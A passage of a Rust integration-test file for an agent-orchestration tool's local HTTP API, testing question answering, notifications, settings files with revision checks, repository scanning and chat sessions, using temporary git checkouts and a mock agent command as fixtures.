12309 let q = fx.questions().get(&id).unwrap();
12310 assert!(q.status.open());
12311 assert!(q.answer.is_none());
12312 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12313 assert_eq!(res.json()["can_consult_chat"], true);
12314 let list = fx.get("/api/questions").await.json();
12315 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12316 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12317
12318 let res = fx
12319 .post(
12320 &format!("/api/questions/{id}/answer"),
12321 Some(r#"{"choice":"hold"}"#),
12322 )
12323 .await;
12324 assert_eq!(res.status, 200, "{}", res.body);
12325 assert_eq!(res.json()["answer"]["choice"], "hold");
12326 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12327 assert_eq!(res.json()["can_consult_chat"], false);
12328 assert_eq!(fx.post(&path, None).await.status, 409);
12329
12330 let mut talk = fx.talks().get(&talk.id).unwrap();
12331 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12332 let list = fx.get("/api/questions").await.json();
12333 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12334 assert_eq!(list[0]["origin_chat_closed"], true);
12335 assert_eq!(list[0]["can_consult_chat"], false);
12336
12337 fx.talks().remove(&talk.id).unwrap();
12338 let list = fx.get("/api/questions").await.json();
12339 assert_eq!(list[0]["origin_chat"], Value::Null);
12340 assert_eq!(list[0]["origin_chat_closed"], false);
12341 assert_eq!(list[0]["can_consult_chat"], false);
12342 }
12343
12344 #[tokio::test]
12345 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12346 let fx = Fixture::start().await;
12347 let store = fx.questions();
12348 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12349 store.beat(&id, ask::WaiterKind::Asker);
12350 assert_eq!(
12351 fx.get("/api/health").await.json()["questions_needs_owner"],
12352 1
12353 );
12354
12355 let res = fx
12361 .post(
12362 &format!("/api/questions/{id}/say"),
12363 Some(r#"{"body":"why not Postgres?"}"#),
12364 )
12365 .await;
12366 assert_eq!(res.status, 200, "{}", res.body);
12367 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12368 assert_eq!(
12369 fx.get("/api/health").await.json()["questions_needs_owner"],
12370 0,
12371 "waiting on the agent is not waiting on the owner"
12372 );
12373
12374 let mut q = store.get(&id).expect("get");
12378 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12379 .expect("reply");
12380 store.put(&mut q).expect("put");
12381 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12382 assert_eq!(
12383 fx.get("/api/health").await.json()["questions_needs_owner"],
12384 1,
12385 "the agent's reply is what should light the banner back up"
12386 );
12387 }
12388
12389 #[tokio::test]
12390 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12391 let fx = Fixture::start().await;
12392 let store = fx.questions();
12393
12394 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12395 let res = fx
12396 .post(
12397 &format!("/api/questions/{empty_id}/say"),
12398 Some(r#"{"body":" "}"#),
12399 )
12400 .await;
12401 assert_eq!(res.status, 400, "{}", res.body);
12402
12403 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12404 let mut answered = store.get(&answered_id).expect("get");
12405 answered
12406 .answer(Answer::Choice("SQLite".to_owned()))
12407 .expect("answer");
12408 store.put(&mut answered).expect("put");
12409 let res = fx
12410 .post(
12411 &format!("/api/questions/{answered_id}/say"),
12412 Some(r#"{"body":"still there?"}"#),
12413 )
12414 .await;
12415 assert_eq!(res.status, 409, "{}", res.body);
12416
12417 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12418 let mut abandoned = store.get(&abandoned_id).expect("get");
12419 abandoned.abandon("timed out");
12420 store.put(&mut abandoned).expect("put");
12421 let res = fx
12422 .post(
12423 &format!("/api/questions/{abandoned_id}/say"),
12424 Some(r#"{"body":"still there?"}"#),
12425 )
12426 .await;
12427 assert_eq!(res.status, 409, "{}", res.body);
12428 }
12429
12430 #[tokio::test]
12431 async fn an_answer_the_question_does_not_offer_is_refused() {
12432 let fx = Fixture::start().await;
12433 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12434 let path = format!("/api/questions/{id}/answer");
12435
12436 for body in [
12437 r#"{"choice":"Postgres"}"#,
12438 r#"{"text":"whatever you think"}"#,
12439 r#"{"choice":"Redis","text":"both"}"#,
12440 r#"{}"#,
12441 ] {
12442 let res = fx.post(&path, Some(body)).await;
12443 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12444 assert!(res.json()["error"].is_string(), "{}", res.body);
12445 }
12446 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12448 }
12449
12450 #[tokio::test]
12451 async fn a_free_text_question_takes_text_and_not_a_choice() {
12452 let fx = Fixture::start().await;
12453 let id = ask(&fx, "What should the flag be called?", &[]);
12454 fx.questions().beat(&id, ask::WaiterKind::Asker);
12455 let path = format!("/api/questions/{id}/answer");
12456
12457 assert_eq!(
12458 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12459 400
12460 );
12461 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12462 assert_eq!(res.status, 200, "{}", res.body);
12463 assert_eq!(res.json()["answer"]["text"], "--json");
12464 }
12465
12466 #[tokio::test]
12467 async fn an_unknown_question_is_a_json_404() {
12468 let fx = Fixture::start().await;
12469 let res = fx
12470 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12471 .await;
12472 assert_eq!(res.status, 404, "{}", res.body);
12473 assert!(res.json()["error"].is_string());
12474 }
12475
12476 #[tokio::test]
12477 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12478 let fx = Fixture::start().await;
12479 let questions = Questions::at(fx.home.path().join("questions"));
12480 let store = Notices::at(fx.home.path().join("notifications"));
12481 let mut q = ask::Question::new(
12482 "t1".into(),
12483 "conduct".into(),
12484 "conductor".into(),
12485 "Continue?".into(),
12486 String::new(),
12487 Vec::new(),
12488 );
12489 questions.put(&mut q).unwrap();
12490 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12491 n.covered_by = Some(q.id.clone());
12492 let n = store.raise(n).unwrap();
12493 let listed = fx.get("/api/notifications").await.json();
12494 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12495 questions
12496 .update(&q.id, |q| {
12497 q.abandon("run gone");
12498 Ok(())
12499 })
12500 .unwrap();
12501 let listed = fx.get("/api/notifications").await.json();
12502 assert!(listed["items"][0]["answerable_question"].is_null());
12503 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12504 assert!(
12505 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12506 .unwrap()
12507 .contains("answerable_question")
12508 );
12509 }
12510
12511 #[tokio::test]
12512 async fn notifications_list_read_dismiss_and_health_agree() {
12513 let fx = Fixture::start().await;
12514 let store = Notices::at(fx.home.path().join("notifications"));
12515 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12516 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12517
12518 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12519 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12520
12521 store
12522 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12523 .unwrap();
12524 let health = fx.get("/api/health").await.json();
12525 assert_eq!(health["notifications_unread"], 2);
12526 assert_ne!(
12527 health["notifications_rev"], rev0,
12528 "the badge must move live"
12529 );
12530
12531 let listed = fx.get("/api/notifications").await.json();
12532 assert_eq!(listed["unread"], 2);
12533 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12534 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12535
12536 let read = fx
12537 .post(&format!("/api/notifications/{}/read", a.id), None)
12538 .await;
12539 assert_eq!(read.status, 200, "{}", read.body);
12540 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12541
12542 let gone = fx
12543 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12544 .await;
12545 assert_eq!(gone.status, 200, "{}", gone.body);
12546 let listed = fx.get("/api/notifications").await.json();
12547 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12548 assert_eq!(listed["unread"], 0);
12549
12550 store.raise(Notice::info("x", "again")).unwrap();
12551 let all = fx.post("/api/notifications/read-all", None).await;
12552 assert_eq!(all.status, 200, "{}", all.body);
12553 assert_eq!(all.json()["marked"], 1);
12554 assert_eq!(
12555 fx.get("/api/health").await.json()["notifications_unread"],
12556 0
12557 );
12558
12559 let missing = fx.post("/api/notifications/nope/read", None).await;
12560 assert_eq!(missing.status, 404, "{}", missing.body);
12561 assert!(missing.json()["error"].is_string());
12562 }
12563
12564 #[tokio::test]
12571 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12572 let f = Fixture::start().await;
12573
12574 let res = f
12575 .post(
12576 "/api/queue",
12577 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12578 )
12579 .await;
12580
12581 assert_eq!(
12582 res.status, 405,
12583 "POST /api/queue must not be a route: {}",
12584 res.body
12585 );
12586 assert!(
12587 f.queue().list().is_empty(),
12588 "a task filed by a route that does not exist must not reach the disk"
12589 );
12590 assert_eq!(f.get("/api/queue").await.status, 200);
12593 }
12594
12595 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12597 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12598 .expect("checkout dir");
12599 }
12600
12601 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12603
12604 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12605 let tmp = TempDir::new().expect("tempdir");
12606 let repo = tmp.path().join("repo");
12607 std::fs::create_dir_all(&repo).expect("repo dir");
12608 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12609 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12610 if let Some(text) = machine_toml {
12611 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12612 std::fs::write(&machine, text).expect("machine toml");
12613 }
12614 (tmp, repo, machine)
12615 }
12616
12617 async fn settings_checkout(path: &FsPath, text: &str) {
12618 std::fs::create_dir_all(path).unwrap();
12619 std::fs::write(path.join("magi.toml"), text).unwrap();
12620 for args in [
12621 vec!["init", "-b", "main"],
12622 vec!["add", "magi.toml"],
12623 vec![
12624 "-c",
12625 "user.name=Test",
12626 "-c",
12627 "user.email=test@example.invalid",
12628 "commit",
12629 "-m",
12630 "fixture",
12631 ],
12632 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12633 vec![
12634 "symbolic-ref",
12635 "refs/remotes/origin/HEAD",
12636 "refs/remotes/origin/main",
12637 ],
12638 ] {
12639 crate::git::git(path, &args).await.unwrap();
12640 }
12641 }
12642
12643 #[tokio::test]
12644 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12645 let (tmp, repo, machine) =
12646 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12647 let root = tmp.path().join("roots");
12648 let selected = root.join("host/owner/selected");
12649 settings_checkout(
12650 &selected,
12651 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12652 )
12653 .await;
12654 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12655 let before = std::fs::read(&machine).unwrap();
12656 let ui = Arc::new(
12657 Ui::new(
12658 Queue::at(tmp.path().join("queue")),
12659 Questions::at(tmp.path().join("questions")),
12660 Talks::at(tmp.path().join("talks")),
12661 tmp.path().join("runs"),
12662 tmp.path().to_path_buf(),
12663 repo.clone(),
12664 )
12665 .with_machine_config(Some(machine.clone())),
12666 );
12667 let query = || {
12668 Query(SettingsQuery {
12669 repo: Some(selected.clone()),
12670 })
12671 };
12672 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12673 assert!(v.error.is_none(), "{:?}", v.error);
12674 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12675 assert_eq!(conductor.source, "repo");
12676 assert_eq!(
12677 conductor.machine_value,
12678 Some(toml::Value::String("a".into()))
12679 );
12680 assert!(!conductor.editable);
12681 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12682 assert_eq!(
12683 judges.count.as_ref().unwrap().machine_value,
12684 Some(toml::Value::Integer(1))
12685 );
12686 assert!(
12687 !v.roles
12688 .iter()
12689 .find(|r| r.key == "reviewers")
12690 .unwrap()
12691 .editable
12692 );
12693 let unknown = || {
12694 Query(SettingsQuery {
12695 repo: Some(tmp.path().to_path_buf()),
12696 })
12697 };
12698 assert_eq!(
12699 settings_get(State(ui.clone()), unknown())
12700 .await
12701 .unwrap_err()
12702 .status,
12703 StatusCode::UNPROCESSABLE_ENTITY
12704 );
12705 let body = || {
12706 Ok(Json(RolesBody {
12707 revision: v.revision.clone(),
12708 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12709 counts: Default::default(),
12710 }))
12711 };
12712 assert_eq!(
12713 settings_put_roles(State(ui.clone()), unknown(), body())
12714 .await
12715 .unwrap_err()
12716 .status,
12717 StatusCode::UNPROCESSABLE_ENTITY
12718 );
12719 assert_eq!(std::fs::read(&machine).unwrap(), before);
12720 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12721 .await
12722 .unwrap();
12723 assert_eq!(
12724 saved.repo,
12725 selected.canonicalize().unwrap().display().to_string()
12726 );
12727 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12728 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12729 let fresh = root.join("host/owner/fresh");
12731 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12732 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12733 .await
12734 .unwrap();
12735 assert_eq!(fresh_view.repositories.len(), 3);
12736 }
12737
12738 #[tokio::test]
12739 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12740 let (tmp, repo, machine) = settings_dirs(
12741 "[roles]\nreviewers = [\"a\"]\n",
12742 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12743 );
12744 let root = tmp.path().join("roots");
12745 let selected = root.join("host/owner/selected");
12746 settings_checkout(
12747 &selected,
12748 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12749 )
12750 .await;
12751 let broken = root.join("host/owner/broken");
12752 settings_checkout(&broken, "[roles\nbroken").await;
12753 let machine_text = format!(
12754 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12755 toml::Value::String(root.display().to_string())
12756 );
12757 std::fs::write(&machine, &machine_text).unwrap();
12758 let originals: Vec<_> = [&repo, &selected, &broken]
12759 .iter()
12760 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12761 .collect();
12762 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12763 let default = f.get("/api/settings").await.json();
12764 assert_eq!(
12765 default["repo"],
12766 repo.canonicalize().unwrap().display().to_string()
12767 );
12768 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12769 let query = format!("?repo={}", selected.display());
12770 let res = f.get(&format!("/api/settings{query}")).await;
12771 assert_eq!(res.status, 200, "{}", res.body);
12772 let v = res.json();
12773 assert!(v["error"].is_null(), "{v}");
12774 assert_eq!(v["repositories"], default["repositories"]);
12775 let role = |key: &str| {
12776 v["roles"]
12777 .as_array()
12778 .unwrap()
12779 .iter()
12780 .find(|r| r["key"] == key)
12781 .unwrap()
12782 };
12783 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12784 assert_eq!(role("advisors")["source"], "repo");
12785 assert_eq!(role("advisors")["editable"], false);
12786 assert!(role("advisors")["machine_value"].is_null());
12787 assert_eq!(role("judges")["count"]["value"], 2);
12788 assert_eq!(role("judges")["count"]["machine_value"], 1);
12789 assert_eq!(role("judges")["count"]["source"], "repo");
12790 let source = role("judges")["count"]["source_path"].as_str().unwrap();
12791 assert!(
12792 source.contains("origin/main") && !source.contains("magi/config/"),
12793 "{source}"
12794 );
12795 assert_eq!(
12796 role("reviewers")["editable"],
12797 false,
12798 "default context outside roots must protect its declarations"
12799 );
12800 let body =
12801 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12802 let unknown = format!("?repo={}", tmp.path().display());
12803 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12804 assert_eq!(
12805 f.put(&format!("/api/settings/roles{unknown}"), &body)
12806 .await
12807 .status,
12808 422
12809 );
12810 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12811 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12812 .to_string();
12813 assert_eq!(
12814 f.put(&format!("/api/settings/roles{query}"), &refuse)
12815 .await
12816 .status,
12817 422
12818 );
12819 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12820 assert_eq!(saved.status, 200, "{}", saved.body);
12821 assert_eq!(saved.json()["repo"], v["repo"]);
12822 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12823 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12824 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12825 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12826 }
12827 let error = f
12828 .get(&format!("/api/settings?repo={}", broken.display()))
12829 .await;
12830 assert_eq!(error.status, 200);
12831 assert!(error.json()["error"]["message"].is_string());
12832 assert_eq!(error.json()["repositories"], default["repositories"]);
12833 }
12834
12835 #[tokio::test]
12836 async fn settings_get_reports_sources_and_the_advisors_fallback() {
12837 let (_tmp, repo, machine) =
12838 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12839 let f = Fixture::with_repo_and_machine(repo, machine).await;
12840 let res = f.get("/api/settings").await;
12841 assert_eq!(res.status, 200, "{}", res.body);
12842 let v = res.json();
12843 assert!(v["error"].is_null(), "{v}");
12844 let role = |k: &str| {
12845 v["roles"]
12846 .as_array()
12847 .and_then(|r| r.iter().find(|x| x["key"] == k))
12848 .cloned()
12849 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12850 };
12851 assert_eq!(role("judges")["source"], "machine");
12852 assert_eq!(role("judges")["editable"], true);
12853 assert_eq!(role("implementers")["source"], "default");
12854 let adv = role("advisors");
12855 assert_eq!(adv["fallback"], "judges");
12856 assert!(
12857 adv["seats"]
12858 .as_array()
12859 .is_some_and(|s| s.iter().all(|x| x == "b")),
12860 "{adv}"
12861 );
12862 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12863 assert_eq!(v["agents"][0]["source"], "repo");
12864 }
12865
12866 #[tokio::test]
12867 async fn settings_get_reports_a_config_that_does_not_parse() {
12868 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12869 let f = Fixture::with_repo_and_machine(repo, machine).await;
12870 let res = f.get("/api/settings").await;
12871 assert_eq!(res.status, 200, "{}", res.body);
12872 let v = res.json();
12873 assert!(v["error"]["message"].is_string(), "{v}");
12874 assert!(
12875 v["error"]["path"]
12876 .as_str()
12877 .is_some_and(|p| p.ends_with("magi.toml")),
12878 "{v}"
12879 );
12880 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12881 }
12882
12883 #[tokio::test]
12884 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12885 let (_tmp, repo, machine) = settings_dirs(
12886 SETTINGS_AGENTS,
12887 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12888 );
12889 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12890 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12891 let rev = f.get("/api/settings").await.json()["revision"]
12892 .as_str()
12893 .expect("revision")
12894 .to_owned();
12895 let body = serde_json::json!({
12896 "revision": rev,
12897 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12898 })
12899 .to_string();
12900 let res = f.put("/api/settings/roles", &body).await;
12901 assert_eq!(res.status, 200, "{}", res.body);
12902 let text = std::fs::read_to_string(&machine).expect("machine");
12903 assert_eq!(
12904 text,
12905 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12906 );
12907 assert_eq!(
12908 std::fs::read(repo.join("magi.toml")).expect("read"),
12909 repo_before
12910 );
12911 let again = f.get("/api/settings").await.json();
12912 let judges = again["roles"]
12913 .as_array()
12914 .expect("roles")
12915 .iter()
12916 .find(|r| r["key"] == "judges")
12917 .expect("judges")
12918 .clone();
12919 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12920 let stale = f.put("/api/settings/roles", &body).await;
12922 assert_eq!(stale.status, 409, "{}", stale.body);
12923 }
12924
12925 #[tokio::test]
12926 async fn settings_counts_are_reported_and_saved() {
12927 let (_tmp, repo, machine) = settings_dirs(
12928 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12929 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12930 );
12931 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12932 let v = f.get("/api/settings").await.json();
12933 let count = |v: &serde_json::Value, k: &str| {
12934 v["roles"]
12935 .as_array()
12936 .and_then(|r| r.iter().find(|x| x["key"] == k))
12937 .map(|x| x["count"].clone())
12938 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12939 };
12940 let imp = count(&v, "implementers");
12941 assert_eq!(imp["value"], 2);
12942 assert_eq!(imp["source"], "machine");
12943 assert_eq!(imp["file_key"], "candidates");
12944 assert_eq!(imp["roster_len"], 2);
12945 assert_eq!(imp["backups"], 0);
12946 assert_eq!(count(&v, "judges")["source"], "default");
12947 assert_eq!(count(&v, "advisors")["min"], 0);
12948 assert_eq!(count(&v, "reviewers")["editable"], false);
12949 assert!(
12950 count(&v, "reviewers")["locked_reason"]
12951 .as_str()
12952 .is_some_and(|m| m.contains("graph.reviewers"))
12953 );
12954 assert!(count(&v, "fixer").is_null());
12955 let rev = v["revision"].as_str().expect("revision").to_owned();
12956 let body = serde_json::json!({
12957 "revision": rev,
12958 "roles": { "judges": ["b"] },
12959 "counts": { "implementers": 1, "advisors": 0 }
12960 })
12961 .to_string();
12962 let res = f.put("/api/settings/roles", &body).await;
12963 assert_eq!(res.status, 200, "{}", res.body);
12964 let text = std::fs::read_to_string(&machine).expect("machine");
12965 assert_eq!(
12966 text,
12967 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12968 );
12969 let after = f.get("/api/settings").await.json();
12970 assert_eq!(count(&after, "implementers")["value"], 1);
12971 assert_eq!(count(&after, "implementers")["backups"], 1);
12972 assert_eq!(count(&after, "advisors")["value"], 0);
12973 let before = std::fs::read_to_string(&machine).expect("machine");
12974 let rev = after["revision"].as_str().expect("revision").to_owned();
12975 for counts in [
12976 serde_json::json!({ "judges": 0 }),
12977 serde_json::json!({ "judges": "x" }),
12978 serde_json::json!({ "judges": 2.5 }),
12979 serde_json::json!({ "judges": -1 }),
12980 serde_json::json!({ "reviewers": 3 }),
12981 serde_json::json!({ "bogus": 3 }),
12982 ] {
12983 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12984 let res = f.put("/api/settings/roles", &body).await;
12985 assert_eq!(res.status, 422, "{counts}: {}", res.body);
12986 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12987 }
12988 }
12989
12990 #[tokio::test]
12991 async fn settings_put_refuses_without_touching_the_file() {
12992 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12993 let (_tmp, repo, machine) = settings_dirs(
12994 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12995 Some(machine_text),
12996 );
12997 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12998 let rev = f.get("/api/settings").await.json()["revision"]
12999 .as_str()
13000 .expect("revision")
13001 .to_owned();
13002 for roles in [
13003 serde_json::json!({ "judges": ["nope"] }),
13004 serde_json::json!({ "reviewers": ["b"] }),
13005 serde_json::json!({ "bogus": ["a"] }),
13006 ] {
13007 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13008 let res = f.put("/api/settings/roles", &body).await;
13009 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13010 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13011 assert_eq!(
13012 std::fs::read_to_string(&machine).expect("machine"),
13013 machine_text
13014 );
13015 }
13016 }
13017
13018 #[tokio::test]
13019 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13020 let tmp = TempDir::new().expect("tempdir");
13021 let repo = tmp.path().join("repo");
13022 std::fs::create_dir_all(&repo).expect("repo dir");
13023 let root = tmp.path().join("root");
13024 make_checkout(&root, "github.com", "yukimemi", "magi");
13025 std::fs::write(
13026 repo.join("magi.toml"),
13027 format!(
13028 "[repos]\nroots = [{:?}]\n",
13029 root.to_string_lossy().into_owned()
13030 ),
13031 )
13032 .expect("write magi.toml");
13033
13034 let f = Fixture::with_repo(repo).await;
13035 let res = f.get("/api/repos").await;
13036 assert_eq!(res.status, 200, "{}", res.body);
13037 let list = res.json();
13038 let repos = list.as_array().expect("an array");
13039 assert_eq!(repos.len(), 1);
13040 assert_eq!(repos[0]["name"], "yukimemi/magi");
13041 assert!(
13042 repos[0]["path"]
13043 .as_str()
13044 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13045 "{list}"
13046 );
13047 }
13048
13049 #[tokio::test]
13050 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13051 let tmp = TempDir::new().expect("tempdir");
13052 let repo = tmp.path().join("repo");
13053 std::fs::create_dir_all(&repo).expect("repo dir");
13054 let root = tmp.path().join("root");
13055 make_checkout(&root, "github.com", "yukimemi", "magi");
13056 std::fs::write(
13057 repo.join("magi.toml"),
13058 format!(
13059 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13060 root.to_string_lossy().into_owned()
13061 ),
13062 )
13063 .expect("write magi.toml");
13064
13065 let f = Fixture::with_repo(repo).await;
13066 let first = f.get("/api/repos").await;
13067 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13068
13069 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13072 let second = f.get("/api/repos").await;
13073 assert_eq!(
13074 second.json().as_array().map(Vec::len),
13075 Some(1),
13076 "a fresh cache must not rescan inside the TTL"
13077 );
13078
13079 let refreshed = f.get("/api/repos?refresh=1").await;
13080 assert_eq!(
13081 refreshed.json().as_array().map(Vec::len),
13082 Some(2),
13083 "an explicit refresh must rescan even inside the TTL"
13084 );
13085 }
13086
13087 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13093
13094 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13098 let tmp = TempDir::new().expect("tempdir");
13099 let repo = tmp.path().join("repo");
13100 std::fs::create_dir_all(&repo).expect("repo dir");
13101 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13102 let f = Fixture::with_repo(repo.clone()).await;
13103 (tmp, repo, f)
13104 }
13105
13106 #[tokio::test]
13107 async fn posting_a_talk_with_remembered_choices_is_soft() {
13108 let (_tmp, _repo, f) = talk_fixture().await;
13109
13110 let good = f
13111 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13112 .await;
13113 assert_eq!(good.status, 201, "{}", good.body);
13114 assert_eq!(good.json()["persona"], "rei");
13115
13116 let stale = f
13118 .post(
13119 "/api/talks",
13120 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13121 )
13122 .await;
13123 assert_eq!(stale.status, 201, "{}", stale.body);
13124 let v = stale.json();
13125 assert_eq!(v["implementers"], 1);
13126 assert_ne!(v["persona"], "nobody");
13127 let typed = f
13128 .post(
13129 "/api/talks",
13130 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13131 )
13132 .await;
13133 assert_eq!(typed.status, 201, "{}", typed.body);
13134
13135 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13137 assert!(
13138 !strict.status.to_string().starts_with('2'),
13139 "{}",
13140 strict.body
13141 );
13142 }
13143
13144 #[tokio::test]
13145 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13146 let (_tmp, _repo, f) = talk_fixture().await;
13147
13148 let opened = f.post("/api/talks", None).await;
13151 assert_eq!(opened.status, 201, "{}", opened.body);
13152 let body = opened.json();
13153 assert_eq!(body["status"], "open");
13154 assert_eq!(
13155 body["turns"].as_array().unwrap().len(),
13156 0,
13157 "opening takes no agent turn: there is nothing yet to answer"
13158 );
13159
13160 let also_opened = f.post("/api/talks", Some("{}")).await;
13162 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13163
13164 let listed = f.get("/api/talks").await.json();
13165 assert_eq!(listed.as_array().unwrap().len(), 2);
13166 }
13167
13168 #[tokio::test]
13169 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13170 let tmp = TempDir::new().expect("tempdir");
13171 let repo = tmp.path().join("repo");
13172 std::fs::create_dir_all(&repo).expect("repo dir");
13173 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13174 std::fs::write(
